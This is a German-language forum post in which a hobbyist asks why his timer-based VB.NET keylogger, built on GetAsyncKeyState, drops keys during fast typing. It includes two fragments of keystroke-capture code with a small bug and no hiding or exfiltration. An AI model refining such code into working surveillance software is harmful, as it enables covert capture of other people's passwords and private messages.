Ich brauche Hilfe also ich habe mir einen Keylogger gecodet nur ich habe da ein Kleines Problem der Keylogger kann nicht damit Umgehen wenn man schnell Tippt. Das liegt glaube ich darann das ich alle If abfragen in einen Timer gepackt habe.
Aber ich weiß nicht wie ich es sonst machen sollte.
Hier mal mein beispiel Code.
Hatte es auch schonmal anders.Code:Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 0 To 255 If GetAsyncKeyState(i) = -32767 Then Zahl = i End If Next If Zahl = 65 And My.Computer.Keyboard.CapsLock Or Zahl = 65 And My.Computer.Keyboard.ShiftKeyDown Then TextBox1.Text = TextBox1.Text + "A" ElseIf Zahl = 65 Then TextBox1.Text = TextBox1.Text + "a" ElseIf Zahl = 66 And My.Computer.Keyboard.CapsLock Or Zahl = 66 And My.Computer.Keyboard.ShiftKeyDown Then TextBox1.Text = TextBox1.Text + "B" ElseIf Zahl = 66 Then TextBox1.Text = TextBox1.Text + "b" .... ElseIf Zahl = 90 And My.Computer.Keyboard.CapsLock Or Zahl = 66 And My.Computer.Keyboard.ShiftKeyDown Then TextBox1.Text = TextBox1.Text + "Z" ElseIf Zahl = 90 Then TextBox1.Text = TextBox1.Text + "z" End If
Da sah es so aus.
Dies habe ich dann für jeden Buchstaben gemacht und immer 3 in einen Timer gesteckt. Aber das hat Irgendwann auch nichtmehr Funktioniert.Code:For f = 1 To 255 If GetAsyncKeyState(65) = -32767 Then If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then TextBox1.Text = TextBox1.Text + "A" Else TextBox1.Text = TextBox1.Text + "a" End If End If Next
Aber besser als das obere.
MfG Navan